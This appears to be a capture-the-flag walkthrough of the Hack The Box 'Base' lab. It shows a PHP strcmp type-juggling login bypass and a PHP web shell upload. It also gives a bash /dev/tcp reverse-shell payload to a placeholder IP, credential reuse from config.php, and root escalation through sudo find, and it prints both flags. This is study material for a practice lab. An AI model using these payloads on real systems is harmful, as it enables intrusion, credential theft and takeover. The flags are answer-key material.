06.BASE

root@oco:~$ sudo openvpn ~/Downloads/starting_point.ovpn

ENUMERATE SERVICES

root@htb:~$ sudo nmap -sV -sC -T4 {targetIP} -p-
 PORT     STATE SERVICE       VERSION
 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey: 
 |   2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA)
 |   256 65:0c:f7:db:42:03:46:07:f2:12:89:fe:11:20:2c:53 (ECDSA)
 |_  256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519)
 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
 |_http-server-header: Apache/2.4.29 (Ubuntu)
 |_http-title: Welcome to Base
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 * Typically '-sV' is used with Nmap to determine versions, but that's not always enough. 
    - adding the -sC is another good way to determine service versions
       - the -sC option will run safe scripts which are designed to provide useful 
         information without being too intrusive or causing harm to the target systems.
 * the -SC runs the default set of Nmap scripts (NSE scripts), which typically include
   scripts for service enumeration, version detection, and other basic checks.
         
 * use the -Pn option of Nmap when ICMP packets are blocked by the Windows firewall
    - the -PN option treats all hosts as online and will skip host discovery

VULNERABILITY SCANNING

root@htb:~$ sudo nmap --script=vuln {targetIP} -p 22,6789,8080,8443,8843,8880
 PORT   STATE SERVICE
 22/tcp open  ssh
 80/tcp open  http
 | http-csrf: 
 | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.129.141.59
 |   Found the following possible CSRF vulnerabilities: 
 |     
 |     Path: http://10.129.141.59:80/
 |     Form id: name
 |     Form action: forms/contact.php
 |     
 |     Path: http://10.129.141.59:80/
 |     Form id: 
 |     Form action: 
 |     
 |     Path: http://10.129.141.59:80/login/login.php
 |     Form id: login-form
 |     Form action: 
 |     
 |     Path: http://10.129.141.59:80/login/login.php
 |     Form id: 
 |     Form action: 
 |     
 |     Path: http://10.129.141.59:80/index.html
 |     Form id: name
 |     Form action: forms/contact.php
 |     
 |     Path: http://10.129.141.59:80/index.html
 |     Form id: 
 |_    Form action: 
 |_http-internal-ip-disclosure: ERROR: Script execution failed (use -d to debug)
 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
 | http-sql-injection: 
 |   Possible sqli for queries:
 |     http://10.129.141.59:80/login/?C=S%3BO%3DA%27%20OR%20sqlspider
 |     http://10.129.141.59:80/login/?C=M%3BO%3DA%27%20OR%20sqlspider
 |     http://10.129.141.59:80/login/?C=D%3BO%3DA%27%20OR%20sqlspider
 |     http://10.129.141.59:80/login/?C=N%3BO%3DD%27%20OR%20sqlspider
 |     http://10.129.141.59:80/login/?C=M%3BO%3DA%27%20OR%20sqlspider
 |     http://10.129.141.59:80/login/?C=D%3BO%3DA%27%20OR%20sqlspider
 |     http://10.129.141.59:80/login/?C=S%3BO%3DD%27%20OR%20sqlspider
 |_    http://10.129.141.59:80/login/?C=N%3BO%3DA%27%20OR%20sqlspider
 |_http-dombased-xss: Couldn't find any DOM based XSS.
 | http-enum: 
 |   /login/: Login page
 |_  /forms/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

 * the --script=vuln will run scripts that focus specifically on detecting known 
   vulnerabilities in the service running on port 6379
    - e.g., weak configurations, or known vulnerabilities in the redis service
       - if no results are found then the service may be fully patched!

FOOTHOLD

Submit user flag and root flag.
#walk the application
root@htb:~$ BROWSER > 10.129.141.59
 
 * identified the following
    - login form w/ input fields
    - login form
       - the login form is contained in a login directory
          - http://10.129.141.59/login/login.php
          
#code review
root@htb:~$ BROWSER > 10.129.141.59 > CTRL + U

 * nothing pertinent
 
#determine whether the login directory can be accessed
root@htb:~$ BROWSER > http://10.129.141.59/login
 Index of /login
 [ICO]	      Name	        Last modified	   Size	Description
 [PARENTDIR]  Parent Directory	 	- 	 
 [ ]	      config.php	2022-06-04 16:24   61 	 
 [ ]	      login.php	        2022-06-15 11:23   7.4K	 
 [ ]	      login.php.swp	2022-06-04 17:09   16K	 
 Apache/2.4.29 (Ubuntu) Server at 10.129.141.59 Port 80
 
 *  /login folder is configured as listable

root@htb:~$ BROWSER > http://10.129.141.59/login
 {download the login.php.swp} file
 
 * the .swp file is a temporary file produced when a program (VIM) experience
   a crash.
    - it stores the changes that are made to the buffer

root@htb:~$ strings ~/Downloads/login.php.swp
 <!DOCTYPE html>
    }
        print("<script>alert('Wrong Username or Password')</script>");
    } else {
        }
            print("<script>alert('Wrong Username or Password')</script>");
        } else {
            header("Location: /upload.php");
            $_SESSION['user_id'] = 1;
        if (strcmp($password, $_POST['password']) == 0) {
    if (strcmp($username, $_POST['username']) == 0) {
    require('config.php');
 if (!empty($_POST['username']) && !empty($_POST['password'])) {
 session_start();
 <?php
 
 * identified the login functionality
 
root@oco:~$ strings ~/Downloads/login.php.swp >> fileName.txt
root@oco:~$ tac fileName.txt 
 </html>
 <?php
 session_start();
 if (!empty($_POST['username']) && !empty($_POST['password'])) {
     require('config.php');
     if (strcmp($username, $_POST['username']) == 0) {
         if (strcmp($password, $_POST['password']) == 0) {
             $_SESSION['user_id'] = 1;
             header("Location: /upload.php");
         } else {
             print("<script>alert('Wrong Username or Password')</script>");
         }
     } else {
         print("<script>alert('Wrong Username or Password')</script>");
     }
 <!DOCTYPE html>
 ...
 
 * identified a function "strcmp" that has a logic flaw
    - if strcmp is given an empty array to compare against the stored 
      password, it will return NULL. in PHP the == operator only checks the 
      value of a variable for equality, and the value of NULL is equal to 0.
      the correct way to write this would be with the === operator which 
      checks both value and type.
       - this is known as "Type Juggling bugs" 
    - in php, converting a variable to an array type is easily accomplished
      by appending the [] symbol on the variable name. 
       - the strcmp() will then compare the array instead of a string.  If the 
         above logic variables are converted into an empty arrays
         ( $username[] & $password[] ), the comparison will return NULL, which 
         will then return TRUE, bypassing the authentication mechanism and 
         the login will be successful
#EXPLOITATION
root@htb~:$ BURP > Proxy > Intercept > Open Browser
BURP Browser > 10.129.141.22 > Login
BURP Browser > http://10.129.141.22/login/login.php
 username: test
 password: test
 
 Request
 ...
 POST /login/login.php HTTP/1.1
 Host: 10.129.141.22
 Content-Length: 27
 Cache-Control: max-age=0
 Accept-Language: en-US,en;q=0.9
 Origin: http://10.129.141.22
 Content-Type: application/x-www-form-urlencoded
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Referer: http://10.129.141.22/login/login.php
 Accept-Encoding: gzip, deflate, br
 Cookie: PHPSESSID=2enk4s6urjnt8tm94796j6sncv
 Connection: keep-alive

 username=test&password=test
 
 * modify the request for username & password to... 
   username[]=test&password[]=test
    - this converts the variables to arrays. once the request is forwarded, 
      strcmp() returns true and the login is successful
      
#upload a web shell
root@htb:~$ echo '<?php echo system($_REQUEST["cmd"]);?>' > shell.php

 * the $_REQUEST method is used to fetch the cmd parameter. it can fetch
   both URL parameters in GET requests and HTTP request body parameters in 
   case of POST requests.
   
 * enclose the double quotes in single quotes, else the $_REQUEST will 
   get stripped by BASH



BURP Browser > http://10.129.141.22/upload.php > Select Your Upload
 upload: shell.php
 
#identify where the uploaded files are stored
root@htb:~$ find / iname big.txt 2>/dev/null
 /usr/share/dirb/wordlists/big.txt
root@htb:~$ cp /usr/share/dirb/wordlists/big.txt .
root@htb:~$ gobuster dir --url http://10.129.141.22/ --wordlist /usr/share/wordlists/dirb/big.txt
 ===============================================================
 Starting gobuster in directory enumeration mode
 ===============================================================
 /.htaccess            (Status: 403) [Size: 278]
 /.htpasswd            (Status: 403) [Size: 278]
 /_uploaded            (Status: 301) [Size: 318] [--> http://10.129.141.22/_uploaded/]
 /assets               (Status: 301) [Size: 315] [--> http://10.129.141.22/assets/]
 /forms                (Status: 301) [Size: 314] [--> http://10.129.141.22/forms/]
 /login                (Status: 301) [Size: 314] [--> http://10.129.141.22/login/]
 /server-status        (Status: 403) [Size: 278]
 Progress: 20469 / 20470 (100.00%)
 ===============================================================
 Finished
 ===============================================================

root@htb:~$ curl http://10.129.141.22/_uploaded/ | grep .php
 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
 100   947  100   947    0     0  51548      0 --:--:-- --:--:-- --:--:-- 52611
 <tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="shell.php">shell.php</a></td><td align="right">2025-05-11 22:01  </td><td align="right"> 30 </td><td>&nbsp;</td></tr>

root@htb:~$ curl http://10.129.141.22/_uploaded/shell.php?cmd=id
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
#expand to a reverse shell
BURP Browser > http://10.129.141.22/_uploaded/shell.php?cmd=id
 
 Request
 ...
 GET /_uploaded/shell.php?cmd=id HTTP/1.1
 Host: 10.129.141.22
 Accept-Language: en-US,en;q=0.9
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Accept-Encoding: gzip, deflate, br
 Cookie: PHPSESSID=2enk4s6urjnt8tm94796j6sncv
 Connection: keep-alive

 * Send to Repeater...
 
Burp > Repeater

 Request
 ...
 GET /_uploaded/shell.php?cmd=id HTTP/1.1
 Host: 10.129.141.22
 Accept-Language: en-US,en;q=0.9
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Accept-Encoding: gzip, deflate, br
 Cookie: PHPSESSID=2enk4s6urjnt8tm94796j6sncv
 Connection: keep-alive

 * Change the Request Method to POST
 
 Request
 ...
 POST /_uploaded/shell.php HTTP/1.1
 Host: 10.129.141.22
 Accept-Language: en-US,en;q=0.9
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Accept-Encoding: gzip, deflate, br
 Cookie: PHPSESSID=2enk4s6urjnt8tm94796j6sncv
 Connection: keep-alive
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 6

 cmd=id
 
 * replace the "id" with the reverse shell cmd
    - /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP_ADDRESS/LISTENING_PORT 0>&1'

#encode the characters as well else they will not the server will not interpret the command correctly
BURP > Repeater > highlight the payload > right-click > Convert Selection > URL > URL-encode key characters

 * to simplify, just highlist the payload then CTRL + U
 
root@htb:~$ nc -nlvp 4321
 ...
 
BURP > Repeater > Send the payload to the target

root@htb:~$ nc...
 listening on [any] 4321 ...
 connect to [10.10.14.215] from (UNKNOWN) [10.129.141.22] 46300
 bash: cannot set terminal process group (1212): Inappropriate ioctl for device
 bash: no job control in this shell
 www-data@base:/var/www/html/_uploaded$ 
#privesc
www-data@base:/var/www/html/_uploaded$ cat /var/www/html/login/config.php
 <?php
 $username = "admin";
 $password = "thisisagoodpassword";
 
www-data@base:/var/www/html/_uploaded$ ls /home
 john
 
#test whether the password can be used for the user john
www-data@base:/var/www/html/_uploaded$ python3 -c'import pty;pty.spawn("/bin/bash")'
 <aded$ python3 -c'import pty;pty.spawn("/bin/bash")'
 
 * prior to switching to the user john, an interactive shell is required
   if the shell isn't fully interactive, the su cmd will fail
   
www-data@base:/var/www/html/_uploaded$ su john
 Password: thisisagoodpassword
john@base:/var/www/html/_uploaded$ 

 * the alternative is using SSH
    - root@htb:~$ ssh [email protected]

john@base:/var/www/html/_uploaded$ ls /home/john
 user.txt
john@base:/var/www/html/_uploaded$ cat /home/john/user.txt
 f54846c258f3b4612f78a819573d158e
#elevate to root
john@base:/var/www/html/_uploaded$ sudo -l
 [sudo] password for john: thisisagoodpassword

 Matching Defaults entries for john on base:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

 User john may run the following commands on base:
    (root : root) /usr/bin/find

 * this lists the sudo privileges that our user, john, is assigned
    - john can run the find command as a root
    
#
root@htb:~$ BROWSER > https://gtfobins.github.io/
 search: find
  Sudo
   If the binary is allowed to run as superuser by sudo, it does not drop the
   elevated privileges and may be used to access the file system, escalate 
   or maintain privileged access.
    - sudo find . -exec /bin/sh \; -quit
 
 * GTFOBins is a curated list of Unix binaries that can be used to bypass 
   local security restrictions in misconfigured systems.
   
john@base:/var/www/html/_uploaded$ sudo find . -exec /bin/bash \; -quit
root@base:/var/www/html/_uploaded# 
   
 * the -exec flag in find runs a command on each matched file. If used to 
   start a shell (e.g., /bin/sh) and find is run with sudo, the shell will run
   with root privileges—effectively escalating to a root shell.
   
root@base:/var/www/html/_uploaded# ls /root
 root.txt

root@base:/var/www/html/_uploaded# cat /root/root.txt
 51709519ea18ab37dd6fc58096bea949

Last updated